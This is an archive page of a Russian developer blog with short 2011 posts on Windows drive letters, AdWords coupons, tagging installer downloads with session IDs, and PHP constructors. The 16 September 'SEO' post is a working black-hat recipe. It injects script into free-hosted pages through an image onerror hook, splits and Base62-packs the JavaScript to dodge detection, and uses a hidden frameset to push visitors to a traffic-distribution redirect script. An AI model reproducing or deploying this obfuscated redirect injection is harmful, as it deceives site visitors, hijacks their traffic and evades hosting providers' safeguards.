31 декабря 2011
В интернете столько ответов на этот вопрос, и всё через реестр, или твикеры.
А сделать это можно гораздо проще:
1. Правой кнопкой на Моём компьютере, пункт "Управление"
(или: Пуск, Панель управления, Администрирование, Управление компьютером; или
+ R, compmgmt.msc)
2. Перейти на пункт "Управление дисками"
3. Выбрать раздел с нужной буквой диска, правой кнопкой "Изменить букву диска или путь к диску...", выделить эту букву и нажать удалить.
НЕ ОШИБИТЕСЬ и не удалите сам раздел! Перед удалением должно быть сообщение:"Удаление буквы диска для тома может сделать запуск некоторых программ невозможным. Вы действительно хотите удалить эту букву диска?"
Софт
27 ноября 2011
https://services.google.com/fb/forms/rupromovkontakte/
http://www.google.ru/adwords/secret (редирект на: https://services.google.com/fb/forms/rupromosecret/)
Ещё в этом блоге постоянно в adsense рекламируется «получите купон на 1000р.» (только НЕ нужно кликать, если не собираетесь регистрировать сразу)
UPD: вот эта ссылка: https://services.google.com/fb/forms/rupromogdn/
Мне кажется, или это слишком? Гугл и так раздавал свои купоны направо и налево (Яндекс вслед за ним). Но сделать это нормой, что для каждого нового сайта вебмастер должен открыть новый аккуант adwords (и вроде отменили плату за активацию аккуанта). В противном случае – столкнуться с огромной инфляцией, я не смотрел сейчас, но уже год назад цена кликов была в разы выше, чем в Яндекс.Директе. Девальвация? Да.
AdSense
24 октября 2011
Уж не помню зачем это нужно.
Но суть в том, чтобы пользователь (зарегистрированный или анонимный), скачивающий триал вашей программы с сайта как-то учитывался. Чтобы программа "знала" откуда он пришёл (affid, referer, контекст/adsense/тизеры, seo/запрос в поисковике, др. рекламная компания).
Для этого нужно при скачивании как-то передать, скажем PHPSESSID установщику вашего софта, фактически .exe-файлу.
Вот варианты:
- Отслеживать как-то по ip-адресу, лазить в кукисы браузеров на локальном компе... Ненадёжно и малореально.
- Добавить sessid в имя скачиваемого файла, – и при установке проверить Application->ExeName | GetModuleFileName.
(Вообще, это неплохой приём, например, для портативных версий софта).
<?php
header("Cache-Control: private");
header("Content-Length: 123456");
header("Content-Type: application/octet-stream");
header("Expires: Sun, 23 Oct 2011 22:15:21 GMT");
header("Content-Disposition: attachment;filename=bs_637653-jnFT6TYu.exe");
- И вот, собственно, моя идея:
Как правило, даже после компиляции программы, в её бинарном виде всё-равно остаются строки с названием контролов: Label-ов/Edit-ов. Можно создать скрытый (аттрибут hiden) Edit1 и вписать туда что-то вроде: "MYPROGSESSID=_____=ENDOFSESSID" (если используете инсталлятор - то найти способ оставить метку там).
Теперь скомпилировать исполняемый файл, проверить что текст нашей строки не изменился, открыв в любом hex-редакторе (UltraEdit напр.)
Дальше идёт PHP-скрипт скачки, кот. до стандартных хидеров ещё и модифицирует .exe-файл:
str_replace("MYPROGSESSID=_____=ENDOFSESSID", $_REQUEST['PHPSESSID']);
(Для ускорения процесса можно кешировать позицию этой строки в файле ($pos = stripos()), проверив дату модификации файла (filemtime(), после чего fopen(, "wb"); fseek(, $pos); fwrite();)
Собственно, этот способ не ограничивается Edit1-контролом. Вы можете попробовать добавить файл с определённой строкой-токеном в ресурсы (не представляю как это делается :lol:), добавить определённый файл картинки в инсталлятор (попросив «установить» его в %programfiles%), после чего прочитать его из уже установленной программы.
____________
Подписка на рубрику C++/Шаровара - теперь БЕСПЛАТНО! Да, купон на скидку 99.7% без НДС.
C++, Шаровара
19 сентября 2011
Я понимаю, что многое из того, что я пишу – просто справочная информация, которая бывает нужна только в определённые моменты. Я и не ожидаю, что вы будете читать каждый пост, ради бога, не делайте этого!
Зато теперь, вы можете быстро получить доступ к той ценной информации, которая находится здесь.
Просто зайдите на mrkto.com и... начинайте сразу набирать текст и жмите Enter!
(Благодаря тому, что после загрузки сайта курсор ввода будет уже в поле поиска).
_________________________
Кстати, вы наверно не заметили маленькую кнопочку Tweet, сливающуюся со светло-синим фоном блока "мне нравится" (при просмотре отдельного поста)
Далее »
Другие
16 сентября 2011
Не знаю, как насчёт предыдущего. Но вот вам ещё один:
- Регим сайт на фрихосте. Пример: 001webs.com, freezoka.net
- Сразу после тэга
<body> размещаем такой код:
<img src="pic.jpg" onerror="document.write('<script src=\'img.js\'></script>');">
- Берём такой код:
function load_menu(str) {
return 'adv'
}
var a = '<scr';
var b = 'ipt l';
var c = 'an';
var d = 'a';
var z = a + b + c;
document.write(z + 'guage="JavaScript1.1"' + ' src=' + load_menu('in') + '.js></scr' + 'ipt>');
- Пропускаем его через dean.edwards.name/packer/ с опцией Base62 encode (может ещё Shrink variables)
Получаем что-то вроде:
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('9 3(8){f\'e\'}0 a=\'<5\';0 b=\'4 l\';0 c=\'6\';0 d=\'a\';0 2=a+b+c;7.m(2+\'k="g.1"\'+\' j=\'+3(\'i\')+\'.h></5\'+\'4>\');',23,23,'var||z|load_menu|ipt|scr|an|document|str|function|||||adv|return|JavaScript1|js|in|src|guage||write'.split('|'),0,{}))
- Сохраняем это в img.js
- Берём следующий код:
var str1 = "<";
var str2 = "frame";
var str3 = "set framebor";
var str4 = "der=0 fram";
var str5 = "espacing=0 bo";
var str6 = "rder=0 rows='10";
var str7 = "0%,*' noresiz";
var str8 = "e><frame name='s";
var str9 = "or' src='ht";
var str10 = "tp://наш.";
var str11 = "домен.com/go.php";
var str12 = "?sid=17' nor";
var str14 = "esize></";
var str17 = "frameset>";
document.write(str1 + str2 + str3 + str4 + str5 + str6 + str7 + str8 + str9 + str10 + str11 + str12 + str14 + str17);
document.write("<img src='http://counter.yadro.ru/hit;luxcash?t11.2;r" + escape(document.referrer) + ((typeof (screen) == "undefined") ? "" : ";s" + screen.width + "*" + screen.height + "*" + (screen.colorDepth ? screen.colorDepth : screen.pixelDepth)) + ";u" + escape(document.URL) + ";" + Math.random() + "' border=0 width=88 height=31>");
— вместо наш.домен.com подствляем свой хост, на котором есть скрипт TDS-ки go.php
- Как и с прошлым, пропускаем через /paker/ с Base62
- Сохраняем в adv.js
- Ну и в скрипте TDS-ки (http://наш.домен.com/go.php), в принципе, может быть всего одна строчка:
<?php
header("Location: http://freebr.ru/");
Ссылки:
- JavaScript-(p,a,c,k,e,r) - упаковщик, зашифровщик js-кода
- Дешифровка сжатых
eval(function(p,a,c,k,e,d){-файлов (вставляйте весь код, включая eval()
SEO
16 июня 2011
Например:
class A {
function A($a = "", $b = "", $c = "") {
$this->__construct($a, $b, $c);
}
function __construct($a = "", $b = "", $c = "")
{
// код конструктора
}
}
Понятно, что php4-конструктор A::A() вызывает код php5-__construct() для совместимости. (Т.к. в php5 __construct() вызывается первым, можно было бы разместить код и наоборот в A::A())
Вопрос: зачем писать лишний метод (__construct())?
Дело в наследовании. Если мы в child-классе переписываем конструктор, то должны будем вызвать конструктор родителя:
class B extends A {
function B()
{
parent::A(); // можно и A::A(); или $this->A();
}
Ещё до появления PHP5 придумали 2 способа не писать в явном виде имя конструктора parent-класса (A).
Первый (#):
$this->{get_parent_class($this)}();
Ни и второй – это создать в каждом классе метод с одним именем (будь то construct или __construct), чтобы вызывать:
parent::__construct();
PHP